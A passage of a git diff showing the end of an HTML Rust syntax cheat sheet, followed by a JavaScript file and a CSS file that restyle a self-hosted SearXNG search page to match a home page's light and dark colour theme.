+let arr: [i32; 3] = [1, 2, 3];  // Explicit type and size
+
+

Tuples

+
let point = (3, 4);
+let (x, y) = point;         // Destructuring
+let x = point.0;            // Access by index
+
+
+

Strings

+
let s1 = "Hello";           // &str (string slice)
+let s2 = String::from("Hello");  // String (owned)
+let s3 = s2.clone();        // Clone owned string
+
+// String operations
+let mut s = String::from("Hello");
+s.push_str(" World");
+s.push('!');
+let len = s.len();
+let slice = &s[0..5];       // String slice
+
+// Formatting
+let name = "Alice";
+let greeting = format!("Hello, {}!", name);
+
+
+

Ownership & Borrowing

+
// Ownership
+let s1 = String::from("hello");
+let s2 = s1;                // s1 moved to s2, s1 no longer valid
+// println!("{}", s1);      // Error! s1 no longer owns the value
+
+// Borrowing (references)
+let s1 = String::from("hello");
+let len = calculate_length(&s1);  // Borrow, don't move
+println!("{}", s1);        // Still valid
+
+fn calculate_length(s: &String) -> usize {
+    s.len()
+}
+
+// Mutable references
+let mut s = String::from("hello");
+change(&mut s);
+
+fn change(some_string: &mut String) {
+    some_string.push_str(", world");
+}
+
+
+

Structs

+
struct Person {
+    name: String,
+    age: u32,
+}
+
+let person = Person {
+    name: String::from("Alice"),
+    age: 30,
+};
+
+println!("{} is {}", person.name, person.age);
+
+// Methods
+impl Person {
+    fn new(name: String, age: u32) -> Person {
+        Person { name, age }
+    }
+    
+    fn greet(&self) {
+        println!("Hello, I'm {}", self.name);
+    }
+}
+
+let person = Person::new(String::from("Alice"), 30);
+person.greet();
+
+
+

Enums

+
enum Direction {
+    Up,
+    Down,
+    Left,
+    Right,
+}
+
+let dir = Direction::Up;
+
+match dir {
+    Direction::Up => println!("Going up"),
+    Direction::Down => println!("Going down"),
+    Direction::Left => println!("Going left"),
+    Direction::Right => println!("Going right"),
+}
+
+// Enums with data
+enum Option<T> {
+    Some(T),
+    None,
+}
+
+let some_number = Some(5);
+let no_number: Option<i32> = None;
+
+
+

Error Handling

+
// Result type
+fn divide(a: f64, b: f64) -> Result<f64, String> {
+    if b == 0.0 {
+        Err(String::from("Division by zero"))
+    } else {
+        Ok(a / b)
+    }
+}
+
+match divide(10.0, 2.0) {
+    Ok(result) => println!("Result: {}", result),
+    Err(e) => println!("Error: {}", e),
+}
+
+// Using unwrap (panics on error)
+let result = divide(10.0, 2.0).unwrap();
+
+// Using expect (custom panic message)
+let result = divide(10.0, 2.0).expect("Division failed");
+
+// Using ? operator (propagates error)
+fn calculate() -> Result<f64, String> {
+    let x = divide(10.0, 2.0)?;
+    Ok(x * 2.0)
+}
+
+
+

File Operations

+
use std::fs;
+use std::io::{self, Write};
+
+// Reading
+let content = fs::read_to_string("file.txt")
+    .expect("Failed to read file");
+
+// Writing
+fs::write("file.txt", "Hello, World!")
+    .expect("Failed to write file");
+
+// With error handling
+match fs::read_to_string("file.txt") {
+    Ok(content) => println!("{}", content),
+    Err(e) => println!("Error: {}", e),
+}
+
+
+

Tips

+
    +
  • Rust variables are immutable by default; use mut to allow changes.
  • +
+
    +
  • read_line handles user input; parsing is required for numbers: +
    use std::io;
    +let mut input = String::new();
    +io::stdin().read_line(&mut input).expect("Failed to read");
    +let number: i32 = input.trim().parse().expect("Not a number");
    +
  • +
+
    +
  • Ownership and borrowing rules prevent data races — Rust's core safety guarantee.
  • +
+
    +
  • 0..5 ranges are exclusive of the end value; use 0..=5 for inclusive.
  • +
+
    +
  • Everything has a type; Rust's compiler is strict but helpful with error messages.
  • +
+
    +
  • Use & for borrowing (references) and &mut for mutable borrowing.
  • +
+
    +
  • Expressions (no semicolon) return values; statements (with semicolon) return unit ().
  • +
+
    +
  • Use match for pattern matching — exhaustive and powerful.
  • +
+
    +
  • Use Option<T> for values that might not exist, Result<T, E> for operations that might fail.
  • +
+
    +
  • The ? operator is syntactic sugar for propagating errors in functions that return Result.
  • +
+
    +
  • Use unwrap() sparingly — prefer proper error handling with match or ?.
  • +
+
    +
  • Structs define data; impl blocks define methods and associated functions.
  • +
+
+
+
+
+ + + + + diff --git a/search/theme-inject.js b/search/theme-inject.js new file mode 100644 index 0000000..a2c9f65 --- /dev/null +++ b/search/theme-inject.js @@ -0,0 +1,131 @@ +// SearXNG theme injector - matches home page theme +(function() { + 'use strict'; + + function getThemeFromCookie() { + const cookies = document.cookie.split(';'); + for (let cookie of cookies) { + const [name, value] = cookie.trim().split('='); + if (name === 'simple_style') { + return value === 'dark' ? 'dark' : 'light'; + } + } + // Check HTML class as fallback + if (document.documentElement.classList.contains('theme-dark') || + document.documentElement.classList.contains('theme-black')) { + return 'dark'; + } + return 'light'; + } + + function applyTheme(theme) { + const isDark = theme === 'dark'; + + const colors = isDark ? { + bg: '#0C1012', + bgBody: '#1F282E', + textPrimary: '#59C99C', + textSecondary: '#A5A9AB', + border: '#326B78', + hover: '#326B78', + shadow: 'rgba(53, 62, 67, 0.27)' + } : { + bg: '#f7f8f7', + bgBody: '#f7f8f7', + textPrimary: '#2a3826', + textSecondary: '#62696D', + border: '#904b59', + hover: '#7d9b8f', + shadow: 'rgba(42, 56, 38, 0.27)' + }; + + const styleId = 'fraggle-searxng-theme'; + let style = document.getElementById(styleId); + if (!style) { + style = document.createElement('style'); + style.id = styleId; + document.head.appendChild(style); + } + + style.textContent = ` + body, html { background-color: ${colors.bgBody} !important; color: ${colors.textPrimary} !important; } + #main_results, #main_index { background-color: ${colors.bgBody} !important; } + #q, input[type="text"], input[type="search"] { + background-color: ${colors.bg} !important; + color: ${colors.textPrimary} !important; + border: 4px solid ${colors.border} !important; + box-shadow: 5px 5px 1px 2px ${colors.shadow} !important; + border-radius: 8px !important; + } + #q:focus, input[type="text"]:focus, input[type="search"]:focus { + border-color: ${colors.border} !important; + outline: none !important; + } + button, input[type="submit"], .btn { + background-color: ${colors.bg} !important; + color: ${colors.textPrimary} !important; + border: 4px solid ${colors.border} !important; + box-shadow: 5px 5px 1px 2px ${colors.shadow} !important; + border-radius: 8px !important; + } + button:hover, input[type="submit"]:hover, .btn:hover { + color: ${colors.hover} !important; + border-color: ${colors.hover} !important; + } + a { color: ${colors.textPrimary} !important; } + a:hover { color: ${colors.hover} !important; } + a:visited { color: ${colors.textPrimary} !important; } + .result, .result-default { + background-color: ${colors.bg} !important; + border: 4px solid ${colors.border} !important; + box-shadow: 5px 5px 1px 2px ${colors.shadow} !important; + border-radius: 8px !important; + color: ${colors.textPrimary} !important; + } + .result:hover { box-shadow: 7px 7px 2px 3px ${colors.shadow} !important; } + .result h3 a { color: ${colors.textPrimary} !important; } + .result h3 a:hover { color: ${colors.hover} !important; } + .result .content { color: ${colors.textPrimary} !important; } + .result .url { color: ${colors.textSecondary} !important; } + nav, #links_on_top { background-color: transparent !important; } + nav a, #links_on_top a { color: ${colors.textPrimary} !important; } + nav a:hover, #links_on_top a:hover { color: ${colors.hover} !important; } + fieldset { + border: 2px solid ${colors.border} !important; + border-radius: 8px !important; + background-color: ${colors.bg} !important; + } + legend { color: ${colors.textPrimary} !important; } + select, input[type="checkbox"] { + background-color: ${colors.bg} !important; + color: ${colors.textPrimary} !important; + border: 2px solid ${colors.border} !important; + border-radius: 4px !important; + } + h1, h2, h3, h4, h5, h6, p { color: ${colors.textPrimary} !important; } + .category, .tab { + background-color: ${colors.bg} !important; + color: ${colors.textPrimary} !important; + border: 2px solid ${colors.border} !important; + border-radius: 8px !important; + } + .category:hover, .tab:hover, .category.selected, .tab.selected { + background-color: ${colors.hover} !important; + color: ${colors.bg} !important; + border-color: ${colors.hover} !important; + } + `; + } + + // Apply theme immediately + const theme = getThemeFromCookie(); + applyTheme(theme); + + // Watch for cookie changes (when user toggles theme on home page) + setInterval(function() { + const newTheme = getThemeFromCookie(); + if (newTheme !== theme) { + applyTheme(newTheme); + } + }, 500); +})(); diff --git a/search/theme.css b/search/theme.css new file mode 100644 index 0000000..3c52b2c --- /dev/null +++ b/search/theme.css @@ -0,0 +1,284 @@ +/* Custom SearXNG theme matching home page colors */ + +/* Light theme colors */ +:root:not(.theme-dark):not(.theme-black) { + --fraggle-bg: #f7f8f7; + --fraggle-bg-body: #f7f8f7; + --fraggle-text-primary: #2a3826; + --fraggle-text-secondary: #62696D; + --fraggle-border: #904b59; + --fraggle-hover: #7d9b8f; + --fraggle-shadow: rgba(42, 56, 38, 0.27); +} + +/* Dark theme colors */ +.theme-dark, +.theme-black { + --fraggle-bg: #0C1012; + --fraggle-bg-body: #1F282E; + --fraggle-text-primary: #59C99C; + --fraggle-text-secondary: #A5A9AB; + --fraggle-border: #326B78; + --fraggle-hover: #326B78; + --fraggle-shadow: rgba(53, 62, 67, 0.27); +} + +/* Load font for ASCII art */ +@font-face { + font-family: GohuFont14NerdFont; + src: url('/GohuFont14NerdFontMono-Regular.ttf'); +} + +/* Override SearXNG background colors */ +body, +html { + background-color: var(--fraggle-bg-body) !important; + color: var(--fraggle-text-primary) !important; + font-family: GohuFont14NerdFont, monospace !important; +} + +/* Main container */ +#main_results, +#main_index { + background-color: var(--fraggle-bg-body) !important; +} + +/* Search input - reduced borders */ +#q, +input[type="text"], +input[type="search"] { + background-color: var(--fraggle-bg) !important; + color: var(--fraggle-text-primary) !important; + border: 2px solid var(--fraggle-border) !important; + box-shadow: 3px 3px 1px 1px var(--fraggle-shadow) !important; + border-radius: 8px !important; +} + +#q:focus, +input[type="text"]:focus, +input[type="search"]:focus { + border-color: var(--fraggle-border) !important; + outline: none !important; +} + +/* Buttons - no borders, no shadows */ +button, +input[type="submit"], +.btn, +button[type="button"], +button[type="submit"] { + background-color: transparent !important; + color: var(--fraggle-text-primary) !important; + border: none !important; + box-shadow: none !important; + text-shadow: none !important; + border-radius: 0 !important; +} + +/* Search form buttons specifically - no borders, no shadows */ +#search_form button, +#search button, +.search_box button, +button[aria-label*="clear"], +button[aria-label*="Clear"], +button[aria-label*="search"], +button[aria-label*="Search"], +#clear_search, +#send_search, +button#clear_search, +button#send_search, +button[type="reset"], +button[type="submit"][id*="search"] { + background-color: transparent !important; + border: none !important; + box-shadow: none !important; + text-shadow: none !important; + outline: none !important; +} + +button:hover, +input[type="submit"]:hover, +.btn:hover { + box-shadow: none !important; + text-shadow: none !important; +} + +button:hover, +input[type="submit"]:hover, +.btn:hover { + color: var(--fraggle-hover) !important; + border-color: var(--fraggle-hover) !important; +} + +/* Links */ +a { + color: var(--fraggle-text-primary) !important; +} + +a:hover { + color: var(--fraggle-hover) !important; +} + +a:visited { + color: var(--fraggle-text-primary) !important; +} + +/* Result cards - minimal borders */ +.result, +.result-default { + background-color: transparent !important; + border: none !important; + box-shadow: none !important; + border-radius: 0 !important; + color: var(--fraggle-text-primary) !important; + padding: 10px 0 !important; + margin-bottom: 15px !important; +} + +.result:hover { + box-shadow: none !important; + background-color: transparent !important; +} + +.result h3 a { + color: var(--fraggle-text-primary) !important; +} + +.result h3 a:hover { + color: var(--fraggle-hover) !important; +} + +.result .content { + color: var(--fraggle-text-primary) !important; +} + +.result .url { + color: var(--fraggle-text-secondary) !important; +} + +/* Navigation */ +nav, +#links_on_top { + background-color: transparent !important; +} + +nav a, +#links_on_top a { + color: var(--fraggle-text-primary) !important; +} + +nav a:hover, +#links_on_top a:hover { + color: var(--fraggle-hover) !important; +} + +/* Search form */ +#search_form, +#search { + background-color: transparent !important; +} + +/* Categories and filters - no borders */ +.category, +.tab { + background-color: transparent !important; + color: var(--fraggle-text-primary) !important; + border: none !important; + box-shadow: none !important; + border-radius: 0 !important; +} + +.category:hover, +.tab:hover, +.category.selected, +.tab.selected { + background-color: transparent !important; + color: var(--fraggle-hover) !important; + border: none !important; +} + +/* Preferences page - no borders */ +fieldset { + border: none !important; + border-radius: 0 !important; + background-color: transparent !important; +} + +legend { + color: var(--fraggle-text-primary) !important; +} + +select, +input[type="text"], +input[type="checkbox"] { + background-color: var(--fraggle-bg) !important; + color: var(--fraggle-text-primary) !important; + border: 1px solid var(--fraggle-border) !important; + border-radius: 4px !important; +} + +/* Logo and branding */ +.logo { + filter: none !important; +} + +.theme-dark .logo, +.theme-black .logo { + filter: brightness(0) saturate(100%) invert(77%) sepia(15%) saturate(1200%) hue-rotate(120deg) brightness(95%) contrast(85%) !important; +} + +/* Text colors */ +h1, h2, h3, h4, h5, h6 { + color: var(--fraggle-text-primary) !important; +} + +p { + color: var(--fraggle-text-primary) !important; +} + +/* Name div styling (ASCII art logo replacement) */ +.name { + font-size: 20px !important; + text-align: center !important; + white-space: pre !important; + color: var(--fraggle-text-primary) !important; + font-family: GohuFont14NerdFont, monospace !important; + margin: 20px 0 !important; + line-height: 1.2 !important; + background-color: transparent !important; + border: none !important; + box-shadow: none !important; + display: block !important; + visibility: visible !important; + opacity: 1 !important; +} + + +/* Hide SearXNG logo */ +#search_logo, +#search_logo svg, +#search_logo img, +.logo, +.logo img, +a[href="/"] img.logo, +a#search_logo { + display: none !important; + visibility: hidden !important; + opacity: 0 !important; + height: 0 !important; + width: 0 !important; + overflow: hidden !important; +} + +/* Remove SearXNG default theme colors */ +.theme-light, +.theme-auto { + --color-base-background: var(--fraggle-bg-body) !important; + --color-base-foreground: var(--fraggle-text-primary) !important; +} + +.theme-dark, +.theme-black { + --color-base-background: var(--fraggle-bg-body) !important; + --color-base-foreground: var(--fraggle-text-primary) !important; +}